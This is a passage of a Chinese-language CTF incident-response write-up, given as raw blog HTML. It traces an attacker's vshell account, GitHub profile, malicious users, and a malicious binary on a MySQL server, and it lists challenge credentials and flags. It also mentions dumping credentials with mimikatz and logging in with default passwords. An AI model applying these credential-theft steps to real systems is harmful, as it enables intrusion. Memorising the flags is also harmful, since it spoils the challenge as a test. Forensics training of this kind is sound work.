src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-880\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-557.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"984\" height=\"695\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-557.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-881\"  sizes=\"auto, (max-width: 984px) 100vw, 984px\" \/><\/div><\/figure>\n\n\n\n<p>\u7528\u6237\u540d<br>841366067<br>\u5bc6\u7801<br>pwn3rzs<br>\u5907\u6ce8<br>palu{X5E1yklz1oAdyHBZ}<\/p>\n\n\n\n<p>\u53e6\u4e00\u4e2a<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-558.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"749\" height=\"514\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-558.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-882\"  sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/div><\/figure>\n\n\n\n<p>c2.com<br>\u7528\u6237\u540d<br>admin<br>\u5bc6\u7801<br>admin@qwer<br>\u5907\u6ce8<br>\u672a\u6dfb\u52a0\u4efb\u4f55\u5907\u6ce8<\/p>\n\n\n\n<p>\u653b\u51fb\u8005\u7559\u4e0b\u7684\u6eaf\u6e90\u4fe1\u606f\u5c31\u662f\u8fd9\u4e2a<\/p>\n\n\n\n<p>palu{X5E1yklz1oAdyHBZ}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">34.\u63d0\u4ea4\u653b\u51fb\u8005\u7684githubID\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>vshell\u7684\u7528\u6237\u540d\u662fqq\u53f7\uff08\u6211\u8fc7\u4ed6\u662fgithub\u7684\u7528\u6237\u540d\uff0c\u5c31\u6ca1\u60f3\u8fc7\u4ed6\u662fqq\u53f7\uff0c\uff09<\/p>\n\n\n\n<p>841366067<\/p>\n\n\n\n<p>\u7528\u624b\u673a\u641c\u7d22<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-559-461x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"461\" height=\"1024\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-559-461x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-883\"  sizes=\"auto, (max-width: 461px) 100vw, 461px\" \/><\/div><\/figure>\n\n\n\n<p>palu{ParlooSEc}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">35.\u63d0\u4ea4\u653b\u51fb\u8005\u5728github\u4e0b\u7559\u4e0b\u7684\u7684\u5185\u5bb9\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u76f4\u63a5\u8bbf\u95ee\u653b\u51fb\u8005\u7684github\u5730\u5740\uff1a<br><a href=\"https:\/\/github.com\/ParlooSEc\/fffflllgggg\">https:\/\/github.com\/ParlooSEc\/fffflllgggg<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-560-1024x552.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"552\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-560-1024x552.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-884\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{s5o3WkX33hptyJjk}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">36.\u63d0\u4ea4\u6076\u610f\u7528\u6237\u7684\u6570\u91cf\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u5728pc1\u542f\u52a8\u770b\u5230\u4e86\u597d\u591a\u6076\u610f\u7528\u6237<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-561-1024x763.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"763\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-561-1024x763.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-885\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e00\u4e2a99\u4e2a<\/p>\n\n\n\n<p>palu{99}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">37.\u63d0\u4ea4\u6076\u610f\u7528\u6237\u7684\u9ed8\u8ba4\u5bc6\u7801\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u6839\u636e\u524d\u9762\u7684\u7ecf\u9a8c\uff0cparloohack\u7684\u9ed8\u8ba4\u5bc6\u7801\u90fd\u662f123456\uff0c\u90a3\u4e48\u8fd9\u4e2a\u7684\u9ed8\u8ba4\u5bc6\u7801\u662f\u4e0d\u662f\u4e5f\u662f123456<\/p>\n\n\n\n<p>\u7ed3\u679c\u53d1\u73b0123456\u53ef\u4ee5\u767b\u5f55\u8fdb\u53bb\u6240\u4ee5\u5bc6\u7801\u5c31\u662f123456<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-562.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"860\" height=\"618\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-562.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-886\"  sizes=\"auto, (max-width: 860px) 100vw, 860px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f46\u662f\u4e5f\u53ef\u63d0\u53d6\u51fa\u90a3\u4e9b\u6076\u610f\u7528\u6237\u7684\u51ed\u8bc1\uff0c\u7315\u7334\u6843\u7206\u7834\uff0c\u518d\u7206hash\u3002<\/p>\n\n\n\n<p>palu{123456}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">38.\u63d0\u4ea4\u4e1a\u52a1\u6570\u636e\u4e2d\u653b\u51fb\u8005\u7559\u4e0b\u7684\u4fe1\u606f\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u4e4b\u524d\u5728MYSQL\u6570\u636e\u5e93\u91cc\u9762\u5c31\u770b\u5230\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-563-1024x538.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"538\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-563-1024x538.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-887\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{crP1ZIVfqrkfdhGy}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">39.\u63d0\u4ea4\u79c1\u4ebagit\u4ed3\u5e93\u4e2d\u7559\u4e0b\u7684\u5185\u5bb9\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u8ddf\u539f\u6765\u767b\u5f55hack\u7684\u8d26\u6237\u4e00\u6837\u7684\u65b9\u6cd5\u76f4\u63a5\u66ff\u6362\u521b\u5efa\u7528\u6237\u7684\u5bc6\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-564-1024x379.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"379\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-564-1024x379.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-888\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-565-1024x399.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"399\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-565-1024x399.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-889\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-570.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"341\" height=\"90\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-570.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-894\"  sizes=\"auto, (max-width: 341px) 100vw, 341px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-566-1024x546.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"546\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-566-1024x546.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-890\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u767b\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-567-1024x508.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"508\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-567-1024x508.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-891\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u7ed3\u679c\u53d1\u73b0\u53ef\u4ee5\u76f4\u63a5\u770b\u6240\u6709\u7684\u79c1\u6709\u5e93\u4fe1\u606f<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-568-1024x540.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"540\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-568-1024x540.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-892\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>cGFsdXtGTzY1U3J1dVR1a2RwQlM1fQ==<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-569-1024x210.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"210\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-569-1024x210.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-893\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{FO65SruuTukdpBS5}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">40.\u63d0\u4ea4\u5b58\u5728\u5728mysql\u670d\u52a1\u5668\u4e2d\u7684\u6076\u610f\u7a0b\u5e8f\u7684MD5\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u8fdb\u5165MySQL\u670d\u52a1\u5668\u4e2d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>netstat -anplt<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>ps -aux<\/code><\/pre>\n\n\n\n<p>\u672a\u53d1\u73b0\u5f02\u5e38<\/p>\n\n\n\n<p>\u522b\u4eba\u7684wp<\/p>\n\n\n\n<p>\u9898\u76ee\u505a\u5230\u4e86\u73b0\u5728\uff0c\u6211\u4eec\u5df2\u7ecf\u53ef\u4ee5\u7406\u51fa\u65f6\u95f4\u7ebf\u6765\u4e86\uff0c5\u67082\u65e5\u662f\u76ee\u524d\u653b\u51fb\u6700\u65e9\u7684\u65f6\u95f4(\u5bf9\u4e8e\u6574\u4e2a\u5e94<br>\u6025\u9898\u7684\u65f6\u95f4\u7ebf\u6765\u8bf4\uff0c\u4e3b\u7ebf\u9898\u8fd8\u8981\u9760\u540e\u3002\u6700\u665a\u65f6\u95f4\u5c31\u662f15\u53f7\uff0c16\u53f7\u90fd\u5df2\u7ecf\u53d1\u538b\u7f29\u5305\u4e86)<br>\u67e5\u627e\u5176\u4ed6\u53ef\u7591\u76ee\u5f55\u4e2d\u4fee\u6539\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo find \/tmp \/var\/tmp \/dev\/shm \/home \/root -type f -perm \/a+x\n( -newermt \"2025-05-02\" ! -newermt \"2025-05-16\" )\n-exec ls -la {} ; 2&gt;\/dev\/null | sort -k6,7<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-571.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"835\" height=\"338\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-895\"  sizes=\"auto, (max-width: 835px) 100vw, 835px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u6267\u884c\u4e86\u4e00\u4e2a\u6587\u4ef6<\/p>\n\n\n\n<p>\u5c31\u5728root\u76ee\u5f55\u91cc\u9762<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-572.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"816\" height=\"339\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-572.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-896\"  sizes=\"auto, (max-width: 816px) 100vw, 816px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-573.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"410\" height=\"71\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-897\"  sizes=\"auto, (max-width: 410px) 100vw, 410px\" \/><\/div><\/figure>\n\n\n\n<p>\u8ba1\u7b97md5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> md5sum .a<\/code><\/pre>\n\n\n\n<p>palu{ba7c9fc1ff58b48d0df5c88d2fcc5cd1}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">41.\u63d0\u4ea4\u6076\u610f\u7a0b\u5e8f\u4e2d\u6a21\u62dfc2\u901a\u4fe1\u7684\u51fd\u6570\u540d\u79f0\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u5c06.a\u7684\u6587\u4ef6\u590d\u5236\u5230\u4e3b\u673a\u4e0a\u9762IDA\u9006\u5411\u5206\u6790<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo cp \/root\/.a \/home\/ubuntu<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-574.png'><img class=\"lazyload lazyload-style-1\" 